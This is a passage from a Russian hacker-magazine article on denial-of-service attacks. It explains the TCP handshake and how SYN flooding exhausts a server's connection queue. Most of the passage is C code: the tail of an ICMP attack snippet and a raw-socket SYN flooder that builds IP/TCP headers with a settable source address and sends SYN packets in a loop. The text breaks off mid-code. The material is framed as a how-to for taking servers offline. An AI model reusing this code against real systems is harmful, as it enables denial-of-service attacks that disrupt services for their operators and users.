Удар издалека Борис Вольфсон Спецвыпуск: Хакер, номер #048, стр. 048-030-4 sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst, sizeof dst); // корректируем смещение if (offset == 0) { icmp-> icmp_type = 0; icmp-> icmp_code = 0; icmp-> icmp_cksum = 0; } } SYN flooding: смертельное рукопожатие На десерт осталось самое вкусное блюдо - SYN flooding. В отличие от вышеописанных атак, SYN flooding довольно универсальна. С помощью нее можно забить канал любого сервера, независимо от его операционки, если, конечно, он не настроен очень хитрым образом :). Посмотрим, как работает связка TCP/IP в случае входящего соединения и как это можно использовать для организации DoS-атаки. Сначала клиентская машина посылает серверу SYN-пакет для установки связи. Получив запрос на соединение, сервер посылает клиенту SYN/ACK-пакет в качестве ответа. Такой пакет дает клиенту понять, что сервер ожидает связи. Затем клиент посылает ACK-пакет для подтверждения. Это на компьютерном сленге называется рукопожатием. Тут есть маленькая хитрость: как только серверу придет слишком много таких запросов на соединение, он будет игнорировать остальные запросы. Цель ясна: надо забить очередь входных соединений сервера, тогда он перестанет реагировать на другие запросы. Напишем реализацию этой атаки, начав с типов данных и переменных: // TPC/IP заголовок struct send_tcp { struct iphdr ip; struct tcphdr tcp; } send_tcp; // заголовок struct pseudo_header { unsigned int source_address; unsigned int dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; struct tcphdr tcp; } pseudo_header; int i; int tcp_socket; struct sockaddr_in sin; int sinlen; Переменные send_tcp и pseudo_header понадобятся при подготовке TCP/IP-пакета. tcp_socket мы будем использовать для отправки запросов. Основная часть программы будет выглядеть так (несущественные места кода я опустил): // формируем IP-пакет send_tcp.ip.ihl = 5; send_tcp.ip.version = 4; send_tcp.ip.tos = 0; send_tcp.ip.tot_len = htons(40); send_tcp.ip.id = getpid(); send_tcp.ip.frag_off = 0; send_tcp.ip.ttl = 255; send_tcp.ip.protocol = IPPROTO_TCP; send_tcp.ip.check = 0; send_tcp.ip.saddr = source_addr; send_tcp.ip.daddr = dest_addr; // формируем TCP-пакет send_tcp.tcp.source = getpid(); send_tcp.tcp.dest = htons(dest_port); send_tcp.tcp.seq = getpid(); send_tcp.tcp.ack_seq = 0; send_tcp.tcp.res1 = 0; send_tcp.tcp.doff = 5; send_tcp.tcp.fin = 0; send_tcp.tcp.syn = 1; send_tcp.tcp.rst = 0; send_tcp.tcp.psh = 0; send_tcp.tcp.ack = 0; send_tcp.tcp.urg = 0; send_tcp.tcp.res2 = 0; send_tcp.tcp.window = htons(512); send_tcp.tcp.check = 0; send_tcp.tcp.urg_ptr = 0; // установки sin sin.sin_family = AF_INET; sin.sin_port = send_tcp.tcp.source; sin.sin_addr.s_addr = send_tcp.ip.daddr; // открываем сокет tcp_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); for(i = 0; i < numsyns; i++) { // устанавливаем изменяемые поля send_tcp.tcp.source++; send_tcp.ip.id++; send_tcp.tcp.seq++; send_tcp.tcp.check = 0; send_tcp.ip.check = 0; // считаем контрольную сумму ip send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20); // устанавливаем поля заголовка |